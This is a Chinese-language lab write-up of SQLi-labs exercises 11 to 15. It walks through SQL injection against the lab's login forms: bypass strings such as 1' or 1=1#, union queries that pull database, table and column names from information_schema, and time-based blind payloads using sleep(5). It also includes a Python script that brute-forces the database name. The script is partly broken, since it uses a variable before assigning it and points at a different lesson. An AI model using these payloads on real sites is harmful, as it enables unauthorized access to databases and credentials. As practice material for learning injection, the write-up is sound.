less-11(POST型)
1.寻找漏洞类型
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YrAkcwyg-1641296909427)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216190047123.png)]
可见用户和密码都为admin
输入1’ or 1=1#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vNqkTBQj-1641296909431)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216191302436.png)]
发现成功登陆 推测为单引号闭合
2.爆字段数
输入-1’ order by (+数字)#
发现输入2后为正常页面 判断字段数为2
3.爆数据库名
输入-1’ union select 1,database()#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AOx1OuDV-1641296909433)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216193409014.png)]
得到表名
4.爆表名 列名
-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i7Vo0iST-1641296909435)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216194648542.png)]
-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1JOwOrQ8-1641296909437)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216194820705.png)]
剩下重复输入即可。
less-12
1.找漏洞
在多次输入后 发现
1") or 1=1# 登陆成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m9yKFJgp-1641296909438)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211216195535940.png)]
推测为双引号和括号闭合 其余同理即可
less-13
1.找漏洞
1’)or 1=1# 成功
但同时发现无明显回显 采用时间延迟型注入
爆库名:
uname=admin’) and if(length(database())=8,sleep(5),1)#(爆库长)
uname=admin’ and if(left(database(),1)=‘s’,sleep(5),1)
(爆库名)
脚本如下:
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
url="http://sqli/Less-8/?id=1"
get_length_payload=" 'and length(database())={}--+" #攻击语句样式 {}可以做占位,后续填充
response=requests.get(exec_url,headers=header)
for x in range(1,50):#循环爆库长度
exec_url=url+get_length_payload.format(x)
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
print("该数据长度是{}".format(x))
break #要跳出循环 让x的值正确
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."#定义一个字符串集 里面包含所有可能有的元素
get_databasename_payload=" ' and ascii(substr(database(),{},1))={} --+" #进行ascii转换成数字 解决大小写的问题
result_dataname=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_databasename_payload.format(i,ord(char))
payload_response=requests.get(exec_url,headers=header)
response=requests.get(url,headers=header)
if payload_response.text==response.text:
result_dataname=result_dataname+char
print("该数据库名字为{}".format(result_dataname))
爆表:
uname=admin’) and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘r’ ,sleep(5),1)#
爆字段:
uname=admin’) and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’ ,sleep(5),1)#
爆数据:
uname=admin’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)#
less-14
闭合类型为“ 且无明显回显
采用时间延迟型注入。
less-15
闭合类型为’ 且无明显回显
采用时间延迟型注入